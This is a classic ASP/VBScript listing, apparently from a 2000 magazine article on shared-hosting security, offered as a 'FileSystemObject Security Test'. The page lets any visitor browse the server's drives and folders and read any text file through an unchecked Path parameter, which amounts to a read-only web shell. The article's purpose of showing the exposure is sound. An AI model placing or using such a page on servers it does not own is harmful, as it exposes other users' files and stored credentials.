January 01, 2002
Sharing Too Much (Web Techniques, Apr 2000)
<%@ Language=VBScript %>
<%
Option Explicit
' ----- FileSystemObject (FSO) Security Test -----
'Requires support for Active Server Page (ASP)
'by Chuck Newman cnewman@mail.com
'for http://webtechniques.com Feb 2k.
Dim Scr, fso, Cmd, Path, Req, Parent
Set fso = Server.CreateObject("Scripting.FileSystemObject")
Scr = Request("SCRIPT_NAME")
Cmd = UCase(Request("Cmd"))
Path = Request("Path")
If Cmd = "" Then
'Response.Write "<h1>Test completed successfully</h1>"
'Response.Write "<div align=right><a href='" & Scr & "?Cmd=Folder&Path=" & Server.URLEncode(Request("APPL_PHYSICAL_PATH")) & "'>.</a></div>"
'Response.End
Cmd = "FOLDER"
Path = Request("APPL_PHYSICAL_PATH")
End If
Parent = fso.GetParentFolderName(Path)
%>
<HTML>
<BODY>
<big><%=Path%></big><br><small>
<a href="<%=Scr%>?Cmd=Folder&Path=<%=Server.URLEncode(Parent)%>">
<%=Parent%></a><br>
<a href="<%=Scr%>?Cmd=Drives">Drives</a></small>
<p>
<%
Select Case Cmd
Case "FOLDER"
Dim oFolder, cSubFolders, Obj, cFiles
If Right(Path, 1) <> "\" Then
Path = Path & "\"
End If
Set oFolder = fso.GetFolder(Path)
Set cSubFolders = oFolder.SubFolders
Set cFiles = oFolder.Files
On Error Resume Next%>
<table><tr><td valign=top><h3>Folders</h3>
<%For Each Obj In cSubFolders
Req = Server.URLEncode(Path & Obj.Name)%>
<a href="<%=Scr%>?Cmd=Folder&Path=<%=Req%>">
<%=Obj.Name%></a>
<font color="#990000"><%=Err.Description%></font><br>
<%Err.Clear
Next%>
</td><td valign=top nowrap><h3>Files</h3>
<%For Each Obj In cFiles
Req = Server.URLEncode(Path & Obj.Name)%>
<a href="<%=Scr%>?Cmd=File&Path=<%=Req%>">
<b><%=Obj.Name%></b></a>
<%=Obj.Size%> bytes
<%=Obj.DateLastModified%>
<font color="#990000"><%=Err.Description%></font><br>
<%Err.Clear
Next%>
</td></tr></table>
<%
Case "FILE"
Dim oTs
Set oTs = fso.OpenTextFile(Path, 1)
Response.Write "<pre>" & Server.HtmlEncode(oTs.ReadAll)
oTs.Close
Case "DRIVES"
Dim cDrives, oDrive
Set cDrives = fso.Drives
For Each oDrive In cDrives
If oDrive.IsReady Then
Req = Server.URLEncode(oDrive.Path)%>
<a href="<%=Scr%>?Cmd=Folder&Path=<%=Req%>">
<%=oDrive.VolumeName%> (<%=oDrive.Path%>)</a><br>
<%End If
Next
Case Else
Response.Write "Unrecognized command, '" & Cmd & "'"
End Select
%>
</BODY>
</HTML>
Previous Page |
1
|
2
|
3
Next Page
